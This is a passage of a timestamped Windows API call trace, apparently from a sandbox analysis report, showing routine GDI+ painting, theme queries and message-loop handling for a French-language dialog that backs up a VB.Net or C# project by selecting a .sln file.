(hdc=0x51010156, type=0x6) returned 0x18a002e [0066.918] SaveDC (hdc=0x51010156) returned 1 [0066.918] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3a040850 [0066.918] GetClipRgn (hdc=0x51010156, hrgn=0x3a040850) returned 0 [0066.918] SelectClipRgn (hdc=0x51010156, hrgn=0x400401e3) returned 2 [0066.918] DeleteObject (ho=0x3a040850) returned 1 [0066.918] DeleteObject (ho=0x400401e3) returned 1 [0066.918] OffsetViewportOrgEx (in: hdc=0x51010156, x=0, y=0, lppt=0x26aa33c | out: lppt=0x26aa33c) returned 1 [0066.919] IsAppThemed () returned 0x1 [0066.919] GetThemeAppProperties () returned 0x3 [0066.919] GetThemeAppProperties () returned 0x3 [0066.919] GetThemeBackgroundContentRect () returned 0x0 [0066.919] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.919] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.919] IsAppThemed () returned 0x1 [0066.919] GetThemeAppProperties () returned 0x3 [0066.919] GetThemeAppProperties () returned 0x3 [0066.919] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0066.919] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0066.919] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.919] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.919] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.919] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.919] SaveDC (hdc=0x51010156) returned 1 [0066.919] GetTextAlign (hdc=0x51010156) returned 0x0 [0066.919] GetTextColor (hdc=0x51010156) returned 0x0 [0066.919] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.919] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0066.919] SelectObject (hdc=0x51010156, h=0x100a0252) returned 0x18a002e [0066.919] GetBkMode (hdc=0x51010156) returned 2 [0066.919] SetBkMode (hdc=0x51010156, mode=1) returned 2 [0066.919] DrawTextExW (in: hdc=0x51010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26aa6d0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0066.920] DrawTextExW (in: hdc=0x51010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26aa6d0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0066.920] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.920] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.920] GetFocus () returned 0x0 [0066.920] IsAppThemed () returned 0x1 [0066.920] GetThemeAppProperties () returned 0x3 [0066.920] GetThemeAppProperties () returned 0x3 [0066.920] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0066.920] BitBlt (hdc=0x12010815, x=0, y=0, cx=163, cy=29, hdcSrc=0x51010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0066.920] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.920] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0066.920] SelectObject (hdc=0x51010156, h=0x185000f) returned 0x70050254 [0066.920] DeleteDC (hdc=0x51010156) returned 1 [0066.920] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0066.920] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0066.920] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.920] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.920] WaitMessage () returned 1 [0066.998] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0066.998] IsWindowUnicode (hWnd=0x201d6) returned 1 [0066.998] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0066.998] TranslateMessage (lpMsg=0x32f158) returned 0 [0066.998] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0066.998] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.998] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.998] WaitMessage () returned 1 [0067.216] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0067.216] IsWindowUnicode (hWnd=0x201d8) returned 1 [0067.216] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0067.216] TranslateMessage (lpMsg=0x32f158) returned 0 [0067.217] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0067.217] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0067.217] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0067.217] WaitMessage () returned 1 [0067.695] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0067.703] NtdllDefWindowProc_W () returned 0x1 [0067.704] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0067.704] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0067.704] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0067.704] WaitMessage () returned 1 [0076.953] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0076.953] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0076.953] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0076.972] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0076.972] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0076.972] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0076.972] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0076.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0076.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0076.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0076.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0076.973] NtdllDefWindowProc_W () returned 0x0 [0076.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0076.980] GetFocus () returned 0x0 [0076.980] SetFocus (hWnd=0x201e4) returned 0x0 [0076.980] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0076.981] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0076.981] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0076.981] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0076.981] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0076.981] GetStockObject (i=5) returned 0x1900015 [0076.981] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0076.981] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xd, wParam=0x1a, lParam=0x64ac98) returned 0x19 [0076.981] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0076.981] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0076.981] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0076.981] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0076.981] IsWindowUnicode (hWnd=0x201e4) returned 1 [0076.981] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] TranslateMessage (lpMsg=0x32f158) returned 0 [0076.982] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0076.982] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] IsWindowUnicode (hWnd=0x201e4) returned 1 [0076.982] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] GetKeyState (nVirtKey=16) returned 0 [0076.982] GetKeyState (nVirtKey=17) returned 0 [0076.982] GetKeyState (nVirtKey=18) returned -128 [0076.982] TranslateMessage (lpMsg=0x32f158) returned 1 [0076.982] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0076.982] GetKeyState (nVirtKey=16) returned 0 [0076.982] GetKeyState (nVirtKey=17) returned 0 [0076.982] GetKeyState (nVirtKey=18) returned -128 [0076.982] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0076.982] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] IsWindowUnicode (hWnd=0x201e4) returned 1 [0076.982] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] GetKeyState (nVirtKey=16) returned 0 [0076.982] GetKeyState (nVirtKey=17) returned 0 [0076.982] GetKeyState (nVirtKey=18) returned 0 [0076.982] TranslateMessage (lpMsg=0x32f158) returned 1 [0076.982] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0076.982] GetKeyState (nVirtKey=16) returned 0 [0076.982] GetKeyState (nVirtKey=17) returned 0 [0076.982] GetKeyState (nVirtKey=18) returned 0 [0076.982] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0076.982] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] IsWindowUnicode (hWnd=0x201e4) returned 1 [0076.982] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0076.982] TranslateMessage (lpMsg=0x32f158) returned 0 [0076.982] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0076.982] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x12010815 [0076.983] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0076.983] CreateCompatibleDC (hdc=0x12010815) returned 0x6b010156 [0076.983] SelectObject (hdc=0x6b010156, h=0x70050254) returned 0x185000f [0076.983] GdipCreateFromHDC (hdc=0x6b010156, graphics=0x32ec54) returned 0x0 [0076.983] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0076.983] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0076.983] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0076.983] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0076.983] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0076.983] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.983] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e619a0) returned 0x0 [0076.983] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.983] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0076.983] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0076.983] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0076.983] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0076.983] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0076.983] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd9b0dbd) returned 0x0 [0076.983] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0076.983] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0076.983] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.984] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.984] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.984] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.984] SaveDC (hdc=0x6b010156) returned 1 [0076.984] GetNearestColor (hdc=0x6b010156, color=0xf0f0f0) returned 0xf0f0f0 [0076.984] GetNearestColor (hdc=0x6b010156, color=0xa0a0a0) returned 0xa0a0a0 [0076.984] GetNearestColor (hdc=0x6b010156, color=0x696969) returned 0x696969 [0076.984] GetNearestColor (hdc=0x6b010156, color=0xa0a0a0) returned 0xa0a0a0 [0076.984] GetNearestColor (hdc=0x6b010156, color=0x0) returned 0x0 [0076.984] GetNearestColor (hdc=0x6b010156, color=0xffffff) returned 0xffffff [0076.984] GetNearestColor (hdc=0x6b010156, color=0xe5e5e5) returned 0xe5e5e5 [0076.984] GetNearestColor (hdc=0x6b010156, color=0xd7d7d7) returned 0xd7d7d7 [0076.984] GetNearestColor (hdc=0x6b010156, color=0x0) returned 0x0 [0076.984] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.984] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.984] IsAppThemed () returned 0x1 [0076.984] GetThemeAppProperties () returned 0x3 [0076.984] GetThemeAppProperties () returned 0x3 [0076.984] IsAppThemed () returned 0x1 [0076.984] GetThemeAppProperties () returned 0x3 [0076.984] GetThemeAppProperties () returned 0x3 [0076.985] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x2743b50 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetFocus () returned 0x201e4 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsThemePartDefined () returned 0x1 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsAppThemed () returned 0x1 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] GetThemeAppProperties () returned 0x3 [0076.985] IsThemePartDefined () returned 0x1 [0076.985] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0076.985] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0076.985] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0076.985] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0076.985] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0076.986] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.986] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0076.986] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.986] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.986] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0076.986] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.986] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0076.986] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0076.986] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0076.986] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0076.986] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0076.986] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0076.986] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.986] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.986] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.986] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.986] SaveDC (hdc=0x6b010156) returned 1 [0076.986] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x410401e3 [0076.986] GetClipRgn (hdc=0x6b010156, hrgn=0x410401e3) returned 0 [0076.986] SelectClipRgn (hdc=0x6b010156, hrgn=0x41040850) returned 2 [0076.986] DeleteObject (ho=0x410401e3) returned 1 [0076.987] DeleteObject (ho=0x41040850) returned 1 [0076.987] OffsetViewportOrgEx (in: hdc=0x6b010156, x=0, y=0, lppt=0x2744200 | out: lppt=0x2744200) returned 1 [0076.987] DrawThemeParentBackground () returned 0x0 [0076.987] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0076.987] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0076.987] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0076.987] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0076.987] GetSystemMetrics (nIndex=42) returned 0 [0076.987] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0076.987] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0076.987] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0076.987] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.987] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.987] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.987] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.987] SaveDC (hdc=0x6b010156) returned 2 [0076.987] GetNearestColor (hdc=0x6b010156, color=0xf0f0f0) returned 0xf0f0f0 [0076.987] CreateSolidBrush (color=0xf0f0f0) returned 0x1a10084d [0076.987] FillRect (hDC=0x6b010156, lprc=0x32e4d4, hbr=0x1a10084d) returned 1 [0076.987] DeleteObject (ho=0x1a10084d) returned 1 [0076.987] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.988] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0076.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0076.988] GetSystemMetrics (nIndex=42) returned 0 [0076.988] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0076.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0076.988] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0076.988] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.988] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.988] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.988] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.988] SaveDC (hdc=0x6b010156) returned 2 [0076.988] GetNearestColor (hdc=0x6b010156, color=0xf0f0f0) returned 0xf0f0f0 [0076.988] CreateSolidBrush (color=0xf0f0f0) returned 0x1b10084d [0076.988] FillRect (hDC=0x6b010156, lprc=0x32e474, hbr=0x1b10084d) returned 1 [0076.988] DeleteObject (ho=0x1b10084d) returned 1 [0076.988] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.988] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0076.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0076.989] GetSystemMetrics (nIndex=42) returned 0 [0076.989] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0076.989] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0076.989] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.989] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.989] IsAppThemed () returned 0x1 [0076.989] GetThemeAppProperties () returned 0x3 [0076.989] GetThemeAppProperties () returned 0x3 [0076.989] IsAppThemed () returned 0x1 [0076.989] GetThemeAppProperties () returned 0x3 [0076.989] GetThemeAppProperties () returned 0x3 [0076.989] IsThemePartDefined () returned 0x1 [0076.989] GdipCreateRegion (region=0x32e968) returned 0x0 [0076.989] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0076.989] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0076.989] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0076.989] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0076.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.989] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e619a0) returned 0x0 [0076.989] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.989] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e619a0) returned 0x0 [0076.989] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.989] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0076.989] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0076.989] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0076.990] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0076.990] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0076.990] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0076.990] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.990] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.990] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.990] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.990] SaveDC (hdc=0x6b010156) returned 1 [0076.990] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x42040850 [0076.990] GetClipRgn (hdc=0x6b010156, hrgn=0x42040850) returned 0 [0076.990] SelectClipRgn (hdc=0x6b010156, hrgn=0x430401e3) returned 2 [0076.990] DeleteObject (ho=0x42040850) returned 1 [0076.990] DeleteObject (ho=0x430401e3) returned 1 [0076.990] OffsetViewportOrgEx (in: hdc=0x6b010156, x=0, y=0, lppt=0x2744c38 | out: lppt=0x2744c38) returned 1 [0076.990] IsAppThemed () returned 0x1 [0076.990] GetThemeAppProperties () returned 0x3 [0076.990] GetThemeAppProperties () returned 0x3 [0076.990] DrawThemeBackground () returned 0x0 [0076.990] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.990] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.991] GdipCreateRegion (region=0x32e950) returned 0x0 [0076.991] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0076.991] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0076.991] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0076.991] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0076.991] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.991] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0076.991] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.991] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0076.991] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0076.991] LocalFree (hMem=0x4e619a0) returned 0x0 [0076.991] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0076.991] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0076.991] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0076.991] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0076.991] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 